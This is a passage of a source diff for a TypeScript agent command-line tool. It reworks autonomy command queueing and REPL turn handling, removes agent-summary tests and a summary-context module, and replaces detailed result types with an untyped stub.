// user prompts, even if someone stamps an agentId on one.
return cmd.mode === 'task-notification' && cmd.agentId === currentAgentId
})
const queuedAutonomyClaim = await claimConsumableQueuedAutonomyCommands(
queuedCommandsSnapshot,
)
if (queuedAutonomyClaim.staleCommands.length > 0) {
removeFromQueue(queuedAutonomyClaim.staleCommands)
}
const claimedConsumedCommands = queuedAutonomyClaim.claimedCommands.filter(
cmd => cmd.mode === 'prompt' || cmd.mode === 'task-notification',
)
if (claimedConsumedCommands.length > 0) {
consumedAutonomyCommands.push(...claimedConsumedCommands)
for (const cmd of claimedConsumedCommands) {
if (cmd.uuid) {
consumedCommandUuids.push(cmd.uuid)
notifyCommandLifecycle(cmd.uuid, 'started')
}
}
removeFromQueue(claimedConsumedCommands)
}
for await (const attachment of getAttachmentMessages(
null,
updatedToolUseContext,
null,
queuedAutonomyClaim.attachmentCommands,
queuedCommandsSnapshot,
[...messagesForQuery, ...assistantMessages, ...toolResults],
querySource,
)) {
@@ -1773,6 +1659,7 @@ async function* queryLoop(
pendingMemoryPrefetch.consumedOnIteration = turnCount - 1
}
// Inject prefetched skill discovery. collectSkillDiscoveryPrefetch emits
// hidden_by_main_turn — true when the prefetch resolved before this point
// (should be >98% at AKI@250ms / Haiku@573ms vs turn durations of 2-30s).
@@ -1788,11 +1675,8 @@ async function* queryLoop(
// Remove only commands that were actually consumed as attachments.
// Prompt and task-notification commands are converted to attachments above.
const claimedCommandSet = new Set(claimedConsumedCommands)
const consumedCommands = queuedAutonomyClaim.attachmentCommands.filter(
cmd =>
(cmd.mode === 'prompt' || cmd.mode === 'task-notification') &&
!claimedCommandSet.has(cmd),
const consumedCommands = queuedCommandsSnapshot.filter(
cmd => cmd.mode === 'prompt' || cmd.mode === 'task-notification',
)
if (consumedCommands.length > 0) {
for (const cmd of consumedCommands) {

View File

@@ -1,20 +1,3 @@
export type Terminal =
| { reason: 'completed' }
| { reason: 'blocking_limit' }
| { reason: 'image_error' }
| { reason: 'model_error'; error?: unknown }
| { reason: 'aborted_streaming' }
| { reason: 'aborted_tools' }
| { reason: 'prompt_too_long' }
| { reason: 'stop_hook_prevented' }
| { reason: 'hook_stopped' }
| { reason: 'max_turns'; turnCount: number }
export type Continue =
| { reason: 'collapse_drain_retry'; committed: number }
| { reason: 'reactive_compact_retry' }
| { reason: 'max_output_tokens_escalate' }
| { reason: 'max_output_tokens_recovery'; attempt: number }
| { reason: 'stop_hook_blocking' }
| { reason: 'token_budget_continuation' }
| { reason: 'next_turn' }
// Auto-generated stub — replace with real implementation
export type Terminal = any;
export type Continue = any;

View File

@@ -79,9 +79,10 @@ import { isEnvTruthy } from '../utils/envUtils.js';
import { formatTokens, truncateToWidth } from '../utils/format.js';
import { consumeEarlyInput } from '../utils/earlyInput.js';
import {
claimConsumableQueuedAutonomyCommands,
finalizeAutonomyCommandsForTurn,
} from '../utils/autonomyQueueLifecycle.js';
finalizeAutonomyRunCompleted,
finalizeAutonomyRunFailed,
markAutonomyRunRunning,
} from '../utils/autonomyRuns.js';
import { setMemberActive } from '../utils/swarm/teamHelpers.js';
import {
@@ -3053,19 +3054,18 @@ export function REPL({
setMessages(old => {
const postBoundary = getMessagesAfterCompactBoundary(old, {
includeSnipped: true,
});
})
// Hard cap: keep at most 500 messages in fullscreen scrollback
// to prevent unbounded memory growth in multi-day sessions.
// normalizeMessages/applyGrouping are O(n), and Ink fiber
// trees cost ~250KB RSS per message. Without this cap,
// scrollback after several compactions can reach thousands
// of messages (observed: 13k+, 1GB+ heap).
const MAX_FULLSCREEN_SCROLLBACK = 500;
const kept =
postBoundary.length > MAX_FULLSCREEN_SCROLLBACK
? postBoundary.slice(-MAX_FULLSCREEN_SCROLLBACK)
: postBoundary;
return [...kept, newMessage];
const MAX_FULLSCREEN_SCROLLBACK = 500
const kept = postBoundary.length > MAX_FULLSCREEN_SCROLLBACK
? postBoundary.slice(-MAX_FULLSCREEN_SCROLLBACK)
: postBoundary
return [...kept, newMessage]
});
} else {
setMessages(() => [newMessage]);
@@ -3098,10 +3098,13 @@ export function REPL({
// so interleaved non-ephemeral messages caused duplicate progress
// entries to accumulate (observed 13k+ entries in sleep-heavy sessions).
for (let i = oldMessages.length - 1; i >= 0; i--) {
const m = oldMessages[i]!;
if (m.type !== 'progress') break;
const mData = m.data as Record<string, unknown> | undefined;
if (m.parentToolUseID === newMessage.parentToolUseID && mData?.type === newData.type) {
const m = oldMessages[i]!
if (m.type !== 'progress') break
const mData = m.data as Record<string, unknown> | undefined
if (
m.parentToolUseID === newMessage.parentToolUseID &&
mData?.type === newData.type
) {
const copy = oldMessages.slice();
copy[i] = newMessage;
return copy;
@@ -3474,7 +3477,7 @@ export function REPL({
onBeforeQueryCallback?: (input: string, newMessages: MessageType[]) => Promise<boolean>,
input?: string,
effort?: EffortValue,
): Promise<boolean> => {
): Promise<void> => {
// If this is a teammate, mark them as active when starting a turn
if (isAgentSwarmsEnabled()) {
const teamName = getTeamName();
@@ -3505,7 +3508,7 @@ export function REPL({
logEvent('tengu_concurrent_onquery_enqueued', {});
}
});
return false;
return;
}
try {
@@ -3538,7 +3541,7 @@ export function REPL({
if (onBeforeQueryCallback && input) {
const shouldProceed = await onBeforeQueryCallback(input, latestMessages);
if (!shouldProceed) {
return true;
return;
}
}
@@ -3687,7 +3690,6 @@ export function REPL({
}
}
}
return true;
},
[onQueryImpl, setAppState, resetLoadingState, queryGuard, mrOnBeforeQuery, mrOnTurnComplete],
);
@@ -4842,62 +4844,44 @@ export function REPL({
} satisfies QueuedCommand)
: input;
void (async () => {
const claim = await claimConsumableQueuedAutonomyCommands([queuedCommand]);
const command = claim.attachmentCommands[0];
if (!command) return;
const newAbortController = createAbortController();
setAbortController(newAbortController);
const newAbortController = createAbortController();
setAbortController(newAbortController);
// Create a user message with the formatted content (includes XML wrapper)
const userMessage = createUserMessage({
content: queuedCommand.value as string,
isMeta: queuedCommand.isMeta ? true : undefined,
origin: queuedCommand.origin,
});
// Create a user message with the formatted content (includes XML wrapper)
const userMessage = createUserMessage({
content: command.value,
isMeta: command.isMeta ? true : undefined,
origin: command.origin,
});
const autonomyRunId = queuedCommand.autonomy?.runId;
if (autonomyRunId) {
void markAutonomyRunRunning(autonomyRunId);
}
let executed = false;
try {
executed = (await onQuery([userMessage], newAbortController, true, [], mainLoopModel)) !== false;
} catch (error: unknown) {
try {
await finalizeAutonomyCommandsForTurn({
commands: claim.claimedCommands,
outcome: { type: 'failed', error },
void onQuery([userMessage], newAbortController, true, [], mainLoopModel)
.then(() => {
if (autonomyRunId) {
void finalizeAutonomyRunCompleted({
runId: autonomyRunId,
currentDir: getCwd(),
priority: 'later',
}).then(nextCommands => {
for (const command of nextCommands) {
enqueue(command);
}
});
}
})
.catch((error: unknown) => {
if (autonomyRunId) {
void finalizeAutonomyRunFailed({
runId: autonomyRunId,
error: String(error),
});
} catch (finalizeError: unknown) {
logError(toError(finalizeError));
}
logError(toError(error));
return;
}
// Only finalize as completed when onQuery actually executed the turn
// (it returns false from the concurrent-guard path without running).
// Keep this finalize in its own try/catch so a failure here does not
// trigger a second finalize as `failed` for the same commands.
if (!executed) {
return;
}
try {
const nextCommands = await finalizeAutonomyCommandsForTurn({
commands: claim.claimedCommands,
outcome: { type: 'completed' },
currentDir: getCwd(),
priority: 'later',
});
for (const nextCommand of nextCommands) {
enqueue(nextCommand);
}
} catch (finalizeError: unknown) {
logError(toError(finalizeError));
}
})().catch((error: unknown) => {
logError(toError(error));
});
});
return true;
},
[onQuery, mainLoopModel, store],

View File

@@ -1,228 +0,0 @@
import { beforeEach, describe, expect, test } from 'bun:test'
import { asAgentId } from '../../../types/ids.js'
import type { Message } from '../../../types/message.js'
import type {
CacheSafeParams,
ForkedAgentResult,
} from '../../../utils/forkedAgent.js'
import {
type AgentSummaryDependencies,
startAgentSummarization,
} from '../agentSummary.js'
const transcriptMessages = [
{ type: 'user', message: { content: 'start' }, uuid: 'u1' },
{
type: 'assistant',
message: { content: [{ type: 'text', text: 'working' }] },
uuid: 'a1',
},
{ type: 'user', message: { content: 'continue' }, uuid: 'u2' },
] as unknown as Message[]
type ForkCall = {
cacheSafeParams: CacheSafeParams
}
describe('startAgentSummarization', () => {
let scheduled: (() => void | Promise<void>) | undefined
let handle: { stop: () => void } | undefined
let forkCalls: ForkCall[]
let updateCalls: Array<{ taskId: string; summary: string }>
let transcriptMessagesForTest: Message[]
let debugLogs: string[]
let loggedErrors: Error[]
let clearedHandles: unknown[]
let scheduledCount: number
let lastTimerHandle: unknown
function startTestSummarization(
dependencies: AgentSummaryDependencies = {},
): { stop: () => void } {
return startAgentSummarization(
'task-1',
asAgentId('a0000000000000000'),
{
forkContextMessages: [
{ type: 'user', message: { content: 'stale' }, uuid: 'old' },
],
model: 'claude-test',
} as unknown as CacheSafeParams,
() => undefined,
{
clearTimeout: ((timeoutId: unknown) => {
clearedHandles.push(timeoutId)
}) as typeof clearTimeout,
getAgentTranscript: async () => ({
messages: transcriptMessagesForTest,
contentReplacements: [],
}),
isPoorModeActive: () => false,
logError: error => {
loggedErrors.push(
error instanceof Error ? error : new Error(String(error)),
)
},
logForDebugging: message => {
debugLogs.push(message)
},
runForkedAgent: async (args: ForkCall) => {
forkCalls.push(args)
return {
messages: [
{
type: 'assistant',
message: {
content: [{ type: 'text', text: 'Reading udsClient.ts' }],
},
},
],
} as unknown as ForkedAgentResult
},
setTimeout: ((callback: TimerHandler) => {
if (typeof callback !== 'function') {
throw new Error('Expected timer callback')
}
scheduledCount += 1
scheduled = callback as () => void | Promise<void>
lastTimerHandle = { id: scheduledCount }
return lastTimerHandle as ReturnType<typeof setTimeout>
}) as unknown as typeof setTimeout,
updateAgentSummary: (taskId: string, summary: string) => {
updateCalls.push({ taskId, summary })
},
...dependencies,
},
)
}
beforeEach(() => {
forkCalls = []
updateCalls = []
scheduled = undefined
handle = undefined
transcriptMessagesForTest = transcriptMessages
debugLogs = []
loggedErrors = []
clearedHandles = []
scheduledCount = 0
lastTimerHandle = undefined
})
function expectDebugLogContaining(fragment: string): void {
expect(debugLogs.some(message => message.includes(fragment))).toBe(true)
}
test('summarizes bounded transcript once and skips unchanged fingerprints', async () => {
handle = startTestSummarization()
expect(typeof scheduled).toBe('function')
await scheduled!()
expect(forkCalls).toHaveLength(1)
expect(updateCalls).toEqual([
{ taskId: 'task-1', summary: 'Reading udsClient.ts' },
])
const forkContext = forkCalls[0].cacheSafeParams.forkContextMessages ?? []
expect(forkContext.map(message => String(message.uuid))).toEqual([
'u1',
'a1',
'u2',
])
expect(forkContext.some(message => String(message.uuid) === 'old')).toBe(
false,
)
await scheduled!()
expect(forkCalls).toHaveLength(1)
expect(updateCalls).toHaveLength(1)
expect(loggedErrors).toEqual([])
})
test('skips summarization when filtering leaves too little bounded context', async () => {
transcriptMessagesForTest = [
{ type: 'user', message: { content: 'start' }, uuid: 'u1' },
{
type: 'assistant',
uuid: 'a1',
message: {
content: [{ type: 'tool_use', id: 'missing', name: 'Read' }],
},
},
{ type: 'user', message: { content: 'continue' }, uuid: 'u2' },
] as unknown as Message[]
handle = startTestSummarization()
expect(typeof scheduled).toBe('function')
await scheduled!()
expect(forkCalls).toEqual([])
expect(updateCalls).toEqual([])
expectDebugLogContaining(
'[AgentSummary] Skipping summary for task-1: no bounded context available',
)
})
test('skips summarization before building context when transcript is too short', async () => {
transcriptMessagesForTest = transcriptMessages.slice(0, 2)
handle = startTestSummarization()
expect(typeof scheduled).toBe('function')
await scheduled!()
expect(forkCalls).toEqual([])
expect(updateCalls).toEqual([])
expectDebugLogContaining(
'[AgentSummary] Skipping summary for task-1: not enough messages (2)',
)
})
test('skips and reschedules while poor mode is active', async () => {
handle = startTestSummarization({
isPoorModeActive: () => true,
})
expect(typeof scheduled).toBe('function')
const initialScheduledCount = scheduledCount
const initialTimerHandle = lastTimerHandle
await scheduled!()
expect(forkCalls).toEqual([])
expect(updateCalls).toEqual([])
expectDebugLogContaining('[AgentSummary] Skipping summary — poor mode active')
expect(scheduledCount).toBe(initialScheduledCount + 1)
expect(lastTimerHandle).not.toBe(initialTimerHandle)
})
test('logs summary errors and schedules the next timer', async () => {
const error = new Error('fork failed')
handle = startTestSummarization({
runForkedAgent: async () => {
throw error
},
})
expect(typeof scheduled).toBe('function')
const initialScheduledCount = scheduledCount
const initialTimerHandle = lastTimerHandle
await scheduled!()
expect(loggedErrors).toEqual([error])
expect(updateCalls).toEqual([])
expect(scheduledCount).toBe(initialScheduledCount + 1)
expect(lastTimerHandle).not.toBe(initialTimerHandle)
})
test('stop clears the pending summary timer', () => {
handle = startTestSummarization()
const pendingHandle = lastTimerHandle
handle.stop()
expectDebugLogContaining('[AgentSummary] Stopping summarization for task-1')
expect(clearedHandles).toEqual([pendingHandle])
})
})

View File

@@ -1,268 +0,0 @@
import { describe, expect, test } from 'bun:test'
import type { Message } from '../../../types/message.js'
import {
buildSummaryContext,
estimateMessageChars,
getSummaryContextFingerprint,
MAX_SUMMARY_CONTEXT_CHARS,
selectSummaryContextMessages,
} from '../summaryContext.js'
function makeMessage(
type: 'user' | 'assistant',
uuid: string,
content: string,
): Message {
return {
type,
uuid,
message: {
role: type,
content,
},
} as unknown as Message
}
describe('selectSummaryContextMessages', () => {
test('keeps a bounded recent suffix that starts with a user message', () => {
const messages = [
makeMessage('assistant', 'a0', 'older assistant'),
makeMessage('user', 'u1', 'first prompt'),
makeMessage('assistant', 'a1', 'first response'),
makeMessage('user', 'u2', 'second prompt'),
makeMessage('assistant', 'a2', 'second response'),
]
const selected = selectSummaryContextMessages(messages, {
maxMessages: 3,
maxChars: 1_000,
})
expect(selected.map(message => String(message.uuid))).toEqual(['u2', 'a2'])
})
test('returns no context when the newest message exceeds the byte budget', () => {
const messages = [
makeMessage('user', 'u1', 'first prompt'),
makeMessage('assistant', 'a1', 'x'.repeat(100)),
]
const selected = selectSummaryContextMessages(messages, {
maxMessages: 10,
maxChars: 10,
})
expect(selected).toEqual([])
})
test('uses serialized message size for nested content budgets', () => {
const messages = [
makeMessage('user', 'u1', 'first prompt'),
{
...makeMessage('assistant', 'a1', 'short'),
nested: {
payload: Array.from({ length: 50 }, (_value, index) => ({
index,
text: 'x'.repeat(20),
})),
},
} as unknown as Message,
]
const selected = selectSummaryContextMessages(messages, {
maxMessages: 10,
maxChars: 200,
})
expect(selected).toEqual([])
})
test('stops at an older oversized message after keeping the recent suffix', () => {
const messages = [
makeMessage('user', 'u1', 'x'.repeat(5_000)),
makeMessage('user', 'u2', 'small prompt'),
makeMessage('assistant', 'a2', 'small answer'),
]
const selected = selectSummaryContextMessages(messages, {
maxMessages: 10,
maxChars: 1_000,
})
expect(selected.map(message => String(message.uuid))).toEqual(['u2', 'a2'])
})
test('drops leading orphan tool results after bounding', () => {
const messages = [
makeMessage('assistant', 'a0', 'older assistant'),
{
type: 'user',
uuid: 'u1',
message: {
role: 'user',
content: [
{ type: 'tool_result', tool_use_id: 'tool-1', content: 'ok' },
],
},
} as unknown as Message,
makeMessage('assistant', 'a1', 'after orphan'),
makeMessage('user', 'u2', 'next prompt'),
]
const selected = selectSummaryContextMessages(messages, {
maxMessages: 3,
maxChars: 1_000,
})
expect(selected.map(message => String(message.uuid))).toEqual(['u2'])
})
})
describe('getSummaryContextFingerprint', () => {
test('estimates circular messages as unbounded', () => {
const circular = makeMessage('assistant', 'a1', 'cycle') as Message & {
self?: unknown
}
circular.self = circular
expect(estimateMessageChars(circular)).toBe(Number.POSITIVE_INFINITY)
})
test('ignores non-json primitive fields in size estimates', () => {
const message = makeMessage('assistant', 'a1', 'metadata') as Message & {
skipUndefined?: undefined
skipFunction?: () => void
skipSymbol?: symbol
}
message.skipUndefined = undefined
message.skipFunction = () => undefined
message.skipSymbol = Symbol('ignored')
expect(estimateMessageChars(message)).toBeGreaterThan(0)
})
test('treats unsupported top-level primitives as zero-size estimates', () => {
expect(
estimateMessageChars((() => undefined) as unknown as Message),
).toBe(0)
expect(estimateMessageChars(1n as unknown as Message)).toBe(0)
})
test('returns null for an empty transcript', () => {
expect(getSummaryContextFingerprint([])).toBeNull()
})
test('changes when the transcript grows', () => {
const messages = [
makeMessage('user', 'u1', 'first prompt'),
makeMessage('assistant', 'a1', 'first response'),
]
const first = getSummaryContextFingerprint(messages)
const second = getSummaryContextFingerprint([
...messages,
makeMessage('user', 'u2', 'next prompt'),
])
expect(first?.startsWith('2:a1:')).toBe(true)
expect(second?.startsWith('3:u2:')).toBe(true)
expect(first).not.toBe(second)
})
test('changes when message content changes under the same uuid', () => {
const first = getSummaryContextFingerprint([
makeMessage('user', 'u1', 'first prompt'),
makeMessage('assistant', 'a1', 'first response'),
])
const second = getSummaryContextFingerprint([
makeMessage('user', 'u1', 'first prompt'),
makeMessage('assistant', 'a1', 'updated response'),
])
expect(first).not.toBe(second)
})
test('includes a truncation marker for oversized primitive values', () => {
const prefix = 'x'.repeat(MAX_SUMMARY_CONTEXT_CHARS + 100)
const first = getSummaryContextFingerprint([
makeMessage('assistant', 'a1', `${prefix}a`),
])
const second = getSummaryContextFingerprint([
makeMessage('assistant', 'a1', `${prefix}b`),
])
expect(first).not.toBe(second)
})
test('fingerprints circular message references without recursing forever', () => {
const circular = makeMessage('assistant', 'a1', 'cycle') as Message & {
self?: unknown
}
circular.self = circular
expect(getSummaryContextFingerprint([circular])).toContain(':a1:')
})
})
describe('buildSummaryContext', () => {
test('returns bounded messages and fingerprint for summarizable context', () => {
const messages = [
{ type: 'user', uuid: 'u1', message: { content: 'start' } },
{
type: 'assistant',
uuid: 'a1',
message: { content: [{ type: 'text', text: 'working' }] },
},
{ type: 'user', uuid: 'u2', message: { content: 'continue' } },
] as unknown as Message[]
const result = buildSummaryContext(messages, null)
expect(result.skipReason).toBeUndefined()
expect(result.messages.map(message => String(message.uuid))).toEqual([
'u1',
'a1',
'u2',
])
expect(result.fingerprint).toContain('3:u2:')
})
test('reports unchanged contexts by fingerprint', () => {
const messages = [
{ type: 'user', uuid: 'u1', message: { content: 'start' } },
{
type: 'assistant',
uuid: 'a1',
message: { content: [{ type: 'text', text: 'working' }] },
},
{ type: 'user', uuid: 'u2', message: { content: 'continue' } },
] as unknown as Message[]
const first = buildSummaryContext(messages, null)
const second = buildSummaryContext(messages, first.fingerprint)
expect(second.skipReason).toBe('unchanged')
expect(second.fingerprint).toBe(first.fingerprint)
})
test('filters incomplete tool calls before deciding context is too small', () => {
const messages = [
{ type: 'user', uuid: 'u1', message: { content: 'start' } },
{
type: 'assistant',
uuid: 'a1',
message: {
content: [{ type: 'tool_use', id: 'missing', name: 'Read' }],
},
},
{ type: 'user', uuid: 'u2', message: { content: 'continue' } },
] as unknown as Message[]
const result = buildSummaryContext(messages, null)
expect(result.skipReason).toBe('too_small')
expect(result.messages.map(message => String(message.uuid))).toEqual([
'u1',
'u2',
])
})
})

View File

@@ -1,34 +0,0 @@
import { describe, expect, test } from 'bun:test'
import {
buildSummaryPrompt,
createSummaryPromptMessage,
} from '../summaryPrompt.js'
describe('buildSummaryPrompt', () => {
test('builds the first summary prompt without previous-summary pressure', () => {
const prompt = buildSummaryPrompt(null)
expect(prompt).toContain('Describe your most recent action')
expect(prompt).toContain('Good: "Reading runAgent.ts"')
expect(prompt).not.toContain('Previous:')
})
test('asks for a new summary when a previous one exists', () => {
const prompt = buildSummaryPrompt('Reading udsMessaging.ts')
expect(prompt).toContain('Previous: "Reading udsMessaging.ts"')
expect(prompt).toContain('say something NEW')
})
})
describe('createSummaryPromptMessage', () => {
test('creates the minimal user message shape used by forked summaries', () => {
const message = createSummaryPromptMessage('Summarize progress')
expect(message.type).toBe('user')
expect(message.message.role).toBe('user')
expect(message.message.content).toBe('Summarize progress')
expect(message.uuid).toBeString()
expect(message.timestamp).toBeString()
})
})

View File

@@ -13,6 +13,7 @@
import type { TaskContext } from '../../Task.js'
import { isPoorModeActive } from '../../commands/poor/poorMode.js'
import { updateAgentSummary } from '../../tasks/LocalAgentTask/LocalAgentTask.js'
import { filterIncompleteToolCalls } from '@claude-code-best/builtin-tools/tools/AgentTool/runAgent.js'
import type { AgentId } from '../../types/ids.js'
import { logForDebugging } from '../../utils/debug.js'
import {
@@ -20,32 +21,34 @@ import {
runForkedAgent,
} from '../../utils/forkedAgent.js'
import { logError } from '../../utils/log.js'
import { createUserMessage } from '../../utils/messages.js'
import { getAgentTranscript } from '../../utils/sessionStorage.js'
import { buildSummaryContext } from './summaryContext.js'
import {
buildSummaryPrompt,
createSummaryPromptMessage,
} from './summaryPrompt.js'
const SUMMARY_INTERVAL_MS = 30_000
export type AgentSummaryDependencies = Partial<{
clearTimeout: typeof clearTimeout
getAgentTranscript: typeof getAgentTranscript
isPoorModeActive: typeof isPoorModeActive
logError: typeof logError
logForDebugging: typeof logForDebugging
runForkedAgent: typeof runForkedAgent
setTimeout: typeof setTimeout
updateAgentSummary: typeof updateAgentSummary
}>
function buildSummaryPrompt(previousSummary: string | null): string {
const prevLine = previousSummary
? `\nPrevious: "${previousSummary}" — say something NEW.\n`
: ''
return `Describe your most recent action in 3-5 words using present tense (-ing). Name the file or function, not the branch. Do not use tools.
${prevLine}
Good: "Reading runAgent.ts"
Good: "Fixing null check in validate.ts"
Good: "Running auth module tests"
Good: "Adding retry logic to fetchUser"
Bad (past tense): "Analyzed the branch diff"
Bad (too vague): "Investigating the issue"
Bad (too long): "Reviewing full branch diff and AgentTool.tsx integration"
Bad (branch name): "Analyzed adam/background-summary branch diff"`
}
export function startAgentSummarization(
taskId: string,
agentId: AgentId,
cacheSafeParams: CacheSafeParams,
setAppState: TaskContext['setAppState'],
dependencies: AgentSummaryDependencies = {},
): { stop: () => void } {
// Drop forkContextMessages from the closure — runSummary rebuilds it each
// tick from getAgentTranscript(). Without this, the original fork messages
@@ -55,67 +58,39 @@ export function startAgentSummarization(
let timeoutId: ReturnType<typeof setTimeout> | null = null
let stopped = false
let previousSummary: string | null = null
let lastHandledTranscriptFingerprint: string | null = null
const clearTimeoutImpl = dependencies.clearTimeout ?? clearTimeout
const getAgentTranscriptImpl =
dependencies.getAgentTranscript ?? getAgentTranscript
const isPoorModeActiveImpl =
dependencies.isPoorModeActive ?? isPoorModeActive
const logErrorImpl = dependencies.logError ?? logError
const logForDebuggingImpl =
dependencies.logForDebugging ?? logForDebugging
const runForkedAgentImpl = dependencies.runForkedAgent ?? runForkedAgent
const setTimeoutImpl = dependencies.setTimeout ?? setTimeout
const updateAgentSummaryImpl =
dependencies.updateAgentSummary ?? updateAgentSummary
async function runSummary(): Promise<void> {
if (stopped) return
if (isPoorModeActiveImpl()) {
logForDebuggingImpl('[AgentSummary] Skipping summary — poor mode active')
if (isPoorModeActive()) {
logForDebugging('[AgentSummary] Skipping summary — poor mode active')
scheduleNext()
return
}
logForDebuggingImpl(`[AgentSummary] Timer fired for agent ${agentId}`)
logForDebugging(`[AgentSummary] Timer fired for agent ${agentId}`)
try {
// Read current messages from transcript
const transcript = await getAgentTranscriptImpl(agentId)
const transcript = await getAgentTranscript(agentId)
if (!transcript || transcript.messages.length < 3) {
// Not enough context yet — finally block will schedule next attempt
logForDebuggingImpl(
logForDebugging(
`[AgentSummary] Skipping summary for ${taskId}: not enough messages (${transcript?.messages.length ?? 0})`,
)
return
}
const summaryContext = buildSummaryContext(
transcript.messages,
lastHandledTranscriptFingerprint,
)
if (summaryContext.skipReason === 'unchanged') {
logForDebuggingImpl(
`[AgentSummary] Skipping summary for ${taskId}: transcript unchanged`,
)
return
}
if (summaryContext.skipReason === 'too_small') {
logForDebuggingImpl(
`[AgentSummary] Skipping summary for ${taskId}: no bounded context available`,
)
return
}
// Filter to clean message state
const cleanMessages = filterIncompleteToolCalls(transcript.messages)
// Build fork params with current messages
const forkParams: CacheSafeParams = {
...baseParams,
forkContextMessages: summaryContext.messages,
forkContextMessages: cleanMessages,
}
logForDebuggingImpl(
`[AgentSummary] Forking for summary, ${summaryContext.messages.length} messages in context`,
logForDebugging(
`[AgentSummary] Forking for summary, ${cleanMessages.length} messages in context`,
)
// Create abort controller for this summary
@@ -137,9 +112,9 @@ export function startAgentSummarization(
// ContentReplacementState is cloned by default in createSubagentContext
// from forkParams.toolUseContext (the subagent's LIVE state captured at
// onCacheSafeParams time). No explicit override needed.
const result = await runForkedAgentImpl({
const result = await runForkedAgent({
promptMessages: [
createSummaryPromptMessage(buildSummaryPrompt(previousSummary)),
createUserMessage({ content: buildSummaryPrompt(previousSummary) }),
],
cacheSafeParams: forkParams,
canUseTool,
@@ -161,24 +136,21 @@ export function startAgentSummarization(
)
continue
}
const contentArr = Array.isArray(msg.message!.content)
? msg.message!.content
: []
const contentArr = Array.isArray(msg.message!.content) ? msg.message!.content : []
const textBlock = contentArr.find(b => b.type === 'text')
if (textBlock?.type === 'text' && textBlock.text.trim()) {
const summaryText = textBlock.text.trim()
logForDebuggingImpl(
logForDebugging(
`[AgentSummary] Summary result for ${taskId}: ${summaryText}`,
)
lastHandledTranscriptFingerprint = summaryContext.fingerprint
previousSummary = summaryText
updateAgentSummaryImpl(taskId, summaryText, setAppState)
updateAgentSummary(taskId, summaryText, setAppState)
break
}
}
} catch (e) {
if (!stopped && e instanceof Error) {
logErrorImpl(e)
logError(e)
}
} finally {
summaryAbortController = null
@@ -191,14 +163,14 @@ export function startAgentSummarization(
function scheduleNext(): void {
if (stopped) return
timeoutId = setTimeoutImpl(runSummary, SUMMARY_INTERVAL_MS)
timeoutId = setTimeout(runSummary, SUMMARY_INTERVAL_MS)
}
function stop(): void {
logForDebuggingImpl(`[AgentSummary] Stopping summarization for ${taskId}`)
logForDebugging(`[AgentSummary] Stopping summarization for ${taskId}`)
stopped = true
if (timeoutId) {
clearTimeoutImpl(timeoutId)
clearTimeout(timeoutId)
timeoutId = null
}
if (summaryAbortController) {

View File

@@ -1,219 +0,0 @@
import { createHash } from 'node:crypto'
import { filterIncompleteToolCalls } from '@claude-code-best/builtin-tools/tools/AgentTool/filterIncompleteToolCalls.js'
import type { Message } from '../../types/message.js'
export const MAX_SUMMARY_CONTEXT_MESSAGES = 120
export const MAX_SUMMARY_CONTEXT_CHARS = 200_000
function estimateJsonChars(
value: unknown,
limit: number,
seen = new Set<object>(),
): number {
if (value === null) return 4
switch (typeof value) {
case 'string':
return value.length + 2
case 'number':
case 'boolean':
return String(value).length
case 'undefined':
case 'function':
case 'symbol':
return 0
case 'object': {
if (seen.has(value)) return Number.POSITIVE_INFINITY
seen.add(value)
let total = 2
if (Array.isArray(value)) {
for (let index = 0; index < value.length; index++) {
total += String(index).length + 3
total += estimateJsonChars(value[index], limit - total, seen)
if (total > limit) return total
}
} else {
const record = value as Record<string, unknown>
for (const key in record) {
if (!Object.hasOwn(record, key)) continue
total += key.length + 3
total += estimateJsonChars(record[key], limit - total, seen)
if (total > limit) return total
}
}
seen.delete(value)
return total
}
}
return 0
}
function updateFingerprintHash(
hash: ReturnType<typeof createHash>,
value: unknown,
limit: { remaining: number },
seen = new Set<object>(),
): void {
if (limit.remaining <= 0) return
if (value === null || typeof value !== 'object') {
const text = String(value)
const consumed = Math.min(text.length, limit.remaining)
if (consumed <= 0) return
hash.update(typeof value)
hash.update(':')
hash.update(text.slice(0, consumed))
if (consumed < text.length) {
hash.update(`#truncated:${text.length}:${text.slice(-64)}`)
}
limit.remaining -= consumed
return
}
if (seen.has(value)) {
hash.update('[Circular]')
return
}
seen.add(value)
if (Array.isArray(value)) {
for (let index = 0; index < value.length; index++) {
if (limit.remaining <= 0) break
const key = String(index)
hash.update(key)
limit.remaining -= key.length
updateFingerprintHash(hash, value[index], limit, seen)
}
} else {
const record = value as Record<string, unknown>
for (const key in record) {
if (limit.remaining <= 0) break
if (!Object.hasOwn(record, key)) continue
hash.update(key)
limit.remaining -= key.length
updateFingerprintHash(hash, record[key], limit, seen)
}
}
seen.delete(value)
}
export function estimateMessageChars(
message: Message,
limit = Number.POSITIVE_INFINITY,
): number {
const estimated = estimateJsonChars(message, limit)
if (!Number.isFinite(estimated)) {
return Number.POSITIVE_INFINITY
}
return estimated
}
function hasToolResultBlock(message: Message): boolean {
if (message.type !== 'user') return false
const content = message.message?.content
return (
Array.isArray(content) &&
content.some(block => {
return Boolean(
block &&
typeof block === 'object' &&
'type' in block &&
block.type === 'tool_result',
)
})
)
}
export function getSummaryContextFingerprint(
messages: Message[],
): string | null {
const lastMessage = messages.at(-1)
if (!lastMessage) return null
const hash = createHash('sha256')
updateFingerprintHash(hash, messages, {
remaining: MAX_SUMMARY_CONTEXT_CHARS,
})
return `${messages.length}:${lastMessage.uuid}:${hash.digest('hex').slice(0, 16)}`
}
export function selectSummaryContextMessages(
messages: Message[],
limits: {
maxMessages?: number
maxChars?: number
} = {},
): Message[] {
const maxMessages = limits.maxMessages ?? MAX_SUMMARY_CONTEXT_MESSAGES
const maxChars = limits.maxChars ?? MAX_SUMMARY_CONTEXT_CHARS
if (maxMessages <= 0 || maxChars <= 0) return []
const selected: Message[] = []
let selectedChars = 0
for (let i = messages.length - 1; i >= 0; i--) {
const message = messages[i]
if (!message) continue
const messageChars = estimateMessageChars(message, maxChars - selectedChars)
if (messageChars > maxChars) {
if (selected.length === 0) return []
break
}
if (
selected.length >= maxMessages ||
selectedChars + messageChars > maxChars
) {
break
}
selected.unshift(message)
selectedChars += messageChars
}
while (selected.length > 0) {
const first = selected[0]
if (!first) break
if (first.type !== 'user' || hasToolResultBlock(first)) {
selected.shift()
continue
}
break
}
return selected
}
export type SummaryContextBuildResult = {
messages: Message[]
fingerprint: string | null
skipReason?: 'too_small' | 'unchanged'
}
export function buildSummaryContext(
messages: Message[],
previousFingerprint: string | null,
): SummaryContextBuildResult {
const cleanMessages = filterIncompleteToolCalls(messages)
const boundedMessages = filterIncompleteToolCalls(
